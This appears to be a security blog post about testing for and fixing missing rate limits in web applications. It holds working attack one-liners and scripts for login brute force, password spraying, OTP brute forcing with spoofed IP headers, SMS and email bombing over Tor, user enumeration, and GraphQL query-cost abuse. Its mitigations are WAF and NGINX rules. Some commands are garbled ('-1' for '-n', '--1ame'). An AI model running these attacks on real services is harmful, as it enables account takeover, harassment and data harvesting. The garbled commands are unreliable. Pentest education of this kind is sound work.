Listen to this Post
Introduction:
Rate limiting is a critical defense mechanism that prevents brute-force attacks, denial-of-service (DoS), and resource exhaustion on web applications. When missing or poorly implemented, attackers can automate credential stuffing, OTP brute-forcing, SMS bombing, and mass enumeration – often leading to account takeover, data leaks, or financial fraud. This article provides a structured, actionable checklist for penetration testers and security engineers to identify, exploit, and remediate rate-limiting vulnerabilities across authentication, registration, OTP, email, search, and API endpoints.
Learning Objectives:
- Master manual and automated techniques to detect missing rate limits on authentication, OTP, password reset, and registration endpoints.
- Execute SMS/email bombing attacks and enumeration abuse using realistic commands and scripts (Linux, Windows, Python).
- Implement mitigation strategies including token bucket algorithms, CAPTCHA, IP/user‑based throttling, and GraphQL query cost analysis.
You Should Know:
1. Testing Authentication Endpoints for Rate Limit Bypass
Rate limits on login and password reset prevent credential brute‑forcing. The following steps simulate attacks from single and distributed sources to validate protections.
Step‑by‑step guide (Linux / Windows / Python):
Linux – Bash brute force (50 failed login attempts):
for i in {1..50}; do curl -X POST https://target.com/login -d "username=admin&password=wrong$i" -H "User-Agent: Mozilla/5.0" -i; done
Windows PowerShell – password spraying (one password, many users):
$users = @("alice","bob","charlie")
$password = "Spring2026!"
foreach ($user in $users) {
Invoke-WebRequest -Uri "https://target.com/login" -Method POST -Body "username=$user&password=$password" -Headers @{"User-Agent"="WindowsPowerShell"}
}
Python – distributed brute force using multiple IPs (via proxy list):
import requests
proxies_list = [{"http":"http://proxy1:8080"}, {"http":"http://proxy2:8080"}]
for i, proxy in enumerate(proxies_list):
requests.post("https://target.com/login", data={"username":"admin","password":f"guess{i}"}, proxies=proxy)
Expected results: If no lockout or CAPTCHA appears after 10–20 failures, rate limiting is missing. Check HTTP response codes: `429 Too Many Requests` should be implemented.
2. OTP / MFA Brute Force Techniques
4-digit and 6-digit OTPs (10,000 to 1,000,000 combinations) become trivially brute‑forceable without rate limits. Attackers also exploit parallel sessions and IP rotation.
Step‑by‑step guide – 6-digit OTP brute force with parallel guessing:
Using Burp Suite Intruder: set payload type to Numbers (000000–999999), attack type Pitchfork
Send 100 parallel requests with HTTP/2 using curl --http2
for pin in {000000..000100}; do curl -X POST https://target.com/verify-otp -d "otp=$pin" --http2 -H "X-Forwarded-For: 127.0.0.$((RANDOM%256))" & done
Test OTP session regeneration:
1. Request OTP, intercept response.
- Submit wrong OTP 5 times (capture session cookie).
3. Regenerate session (logout/login or new browser).
- Reuse same OTP code – if still valid, session binding is broken.
Windows – parallel OTP guesses using Start-Job:
1..100 | ForEach-Object { Start-Job -ScriptBlock { Invoke-WebRequest -Uri "https://target.com/verify" -Method POST -Body "otp=123456" } }
Mitigation: OTP expiry (60 seconds), per‑IP/per‑user rate limit (3 attempts/minute), CAPTCHA after 2 failures, and session‑scoped OTPs.
- SMS & Email Bombing – Abuse Without Limits
SMS bombing floods a victim with hundreds of one‑time passwords, causing DoS or financial cost to the provider. The same technique works for verification emails, invitations, and contact forms.
Step‑by‑step – SMS bombing using API and multiple sessions:
Single IP, repeated requests (no cooldown)
for i in {1..500}; do curl -X POST https://target.com/send-sms -d "phone=+1234567890" -H "Cookie: session=abc$i" -H "User-Agent: $i"; done
Bypass with cookie deletion & IP rotation (using tor):
Install torsocks, then rotate IP per request
for i in {1..200}; do torsocks curl -X POST https://target.com/send-otp -d "[email protected]" -H "User-Agent: Mozilla/5.0 (Linux)"; sleep 0.1; done
Check for global vs per‑session counters:
- Create two different sessions (two browsers).
- Trigger SMS from session A 10 times, then session B. If both succeed, no global rate limit.
- Use different IPs with `X-Forwarded-For` header spoofing – many apps trust client IP headers.
Remediation: Rate limit per phone/email (5/hour), per IP (10/hour), implement CAPTCHA before sending, and enforce server‑side cooldown even across sessions.
- REST & GraphQL API Abuse – Burst Traffic and Batching
APIs often lack per‑endpoint throttling, enabling mass data extraction (enumeration) or expensive query denial‑of‑service.
Step‑by‑step – REST API burst testing (1000 requests/minute):
Using Apache Bench
ab -1 1000 -c 50 -H "Authorization: Bearer $TOKEN" https://target.com/api/users/search?q=a
Using curl with parallel (xargs)
seq 1 1000 | xargs -P 50 -I{} curl -s "https://target.com/api/profile?id={}" -o /dev/null
GraphQL alias abuse – send many identical queries in one request:
query {
a1: user(id: "1") { email }
a2: user(id: "1") { email }
... repeat 100 times
}
Use a Python script to generate batched aliases and measure response time – large cost can crash the server.
Step‑by‑step – GraphQL query cost attack:
import requests
aliases = "\n".join([f" a{i}: user(id: \"1\") {{ email }}" for i in range(200)])
payload = f"query {{ {aliases} }}"
r = requests.post("https://target.com/graphql", json={"query": payload})
print(len(r.text), r.elapsed.total_seconds())
Mitigation: Implement rate limiting per API key/user/IP, use GraphQL query depth limiting and cost analysis (e.g., graphql-cost-analysis), and enforce request size limits.
- Enumeration & User Discovery – Missing Rate Limits on Search
Attackers can enumerate valid usernames, emails, or phone numbers via forgot password, registration, or search APIs by monitoring response differences (e.g., “user not found” vs “email sent”).
Step‑by‑step – mass email enumeration using cURL and grep:
for email in $(cat emails.txt); do curl -s -X POST https://target.com/forgot-password -d "email=$email" | grep -q "reset link sent" && echo "Valid: $email" done
Bypass throttling with random delays and IP rotation:
Using proxychains and sleep jitter for email in $(cat emails.txt); do proxychains curl -s -X POST https://target.com/api/check-email -d "email=$email" -H "X-Forwarded-For: 10.0.0.$((RANDOM%255))" sleep $((RANDOM % 3)).$((RANDOM % 10)) done
Windows PowerShell enumeration:
Get-Content emails.txt | ForEach-Object {
$body = @{email=$<em>} | ConvertTo-Json
$response = Invoke-RestMethod -Uri "https://target.com/register/check" -Method Post -Body $body -ContentType "application/json"
if ($response.exists) { Write-Host "Valid: $</em>" }
Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 800)
}
Defense: Uniform error messages (e.g., “If account exists, a reset link will be sent”), rate limit enumeration endpoints (5–10 requests/minute per IP), and CAPTCHA for every 3 lookups.
- Cloud Hardening & API Gateway Rules for Rate Limiting
Implementing rate limits at cloud edge (AWS WAF, CloudFlare, Azure Front Door) provides first‑line defense before traffic hits the application.
Step‑by‑step – AWS WAF rate‑based rule (CLI):
aws wafv2 create-rule-group --1ame "RateLimitLogin" --scope REGIONAL --capacity 500 Add rule: count requests that match path /login, limit 100 per 5 minutes aws wafv2 update-web-acl --1ame MyWebACL --default-action Allow --rules file://rate_limit.json
Sample rate_limit.json:
{
"Name": "RateLimitRule",
"Priority": 1,
"Action": { "Block": {} },
"VisibilityConfig": { "SampledRequestsEnabled": true, "CloudWatchMetricsEnabled": true },
"Statement": {
"RateBasedStatement": {
"Limit": 100,
"AggregateKeyType": "IP",
"ScopeDownStatement": {
"ByteMatchStatement": {
"SearchString": "/login",
"FieldToMatch": { "UriPath": {} },
"TextTransformations": [],
"PositionalConstraint": "EXACTLY"
}
}
}
}
}
NGINX rate limiting (for self‑hosted):
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
server {
location /login {
limit_req zone=login burst=10 nodelay;
proxy_pass http://backend;
}
}
CloudFlare WAF rule (via API):
curl -X PUT "https://api.cloudflare.com/client/v4/zones/ZONE_ID/rulesets/phases/http_ratelimit/entrypoints" \
-H "Authorization: Bearer $CF_TOKEN" -H "Content-Type: application/json" \
-d '{"description":"Login rate limit","expression":"http.request.uri.path eq \"/login\"","action":"block","ratelimit":{"characteristics":["ip.src"],"period":60,"requests_per_period":10}}'
Pro tip: Combine IP, user ID, and API key in rate limit keys to prevent session‑riding attacks.
What Undercode Say:
Key Takeaway 1: Missing rate limits are one of the most commonly overlooked but critically severe vulnerabilities – they directly enable account takeover, SMS/email bombing, and mass data enumeration. Many bug bounty programs reward these findings with high bounties (up to $5k–$10k) because the business impact can be catastrophic, from financial fraud to total database extraction.
Key Takeaway 2: Modern bypass techniques (HTTP/2 multiplexing, IP rotation via X-Forwarded-For, session regeneration, and distributed botnets) render naive per‑IP limits useless. Effective rate limiting must be multi‑layered: per user (authenticated), per IP (unauthenticated), per resource (e.g., OTP endpoint), with exponential backoff, CAPTCHA, and server‑side global counters that survive session changes.
Analysis (10 lines):
The provided checklist by ASWIN K V covers 90% of real‑world rate limit testing scenarios, but practitioners often forget to test GraphQL alias abuse and batch operations, which are increasingly common. Additionally, many testers stop at 100 requests – attackers will send 10,000 over days using low‑and‑slow techniques. From red team experience, even applications with “rate limiting” often miss endpoints like `/api/v2/export?user_id=` or `/invite/send` because developers focus only on login. A proactive approach is to write negative tests: “What happens if I send 1000 identical password reset requests?”. The best mitigation is to treat rate limiting as a core security control, not a performance optimization – use tools like fail2ban, mod_evasive, or cloud WAFs with real‑time alerting. Finally, always validate that CAPTCHA cannot be bypassed by reusing tokens or resetting session state – many implementations store state in cookies, which attackers can delete.
Prediction:
- -1: Over the next 18 months, AI‑powered brute‑forcing tools will automate the discovery of missing rate limits across millions of APIs, leading to a surge in credential stuffing attacks. Organizations that rely solely on basic IP throttling will suffer massive account takeovers, especially in fintech and healthcare sectors.
- +1 Cloud providers (AWS, CloudFlare, GCP) will introduce adaptive rate limiting that uses behavioural analytics (request patterns, mouse movements, typing speed) to distinguish humans from bots without CAPTCHA friction, reducing false positives while blocking distributed attacks.
- -1: The proliferation of GraphQL and headless CMS will expose new rate‑limit bypasses via batch queries and introspection – unless tooling like `graphql‑depth‑limit` becomes mandatory, many high‑profile data leaks will originate from “query cost” attacks that cost under $1 in compute.
- +1 Standardization of rate limit headers (
RateLimit-Limit,RateLimit-Remaining,Retry-After) under IETF draft will improve tooling and testing automation, making it easier for pentesters to script compliance checks and for WAFs to enforce consistent policies across microservices.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Deepmarketer No – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
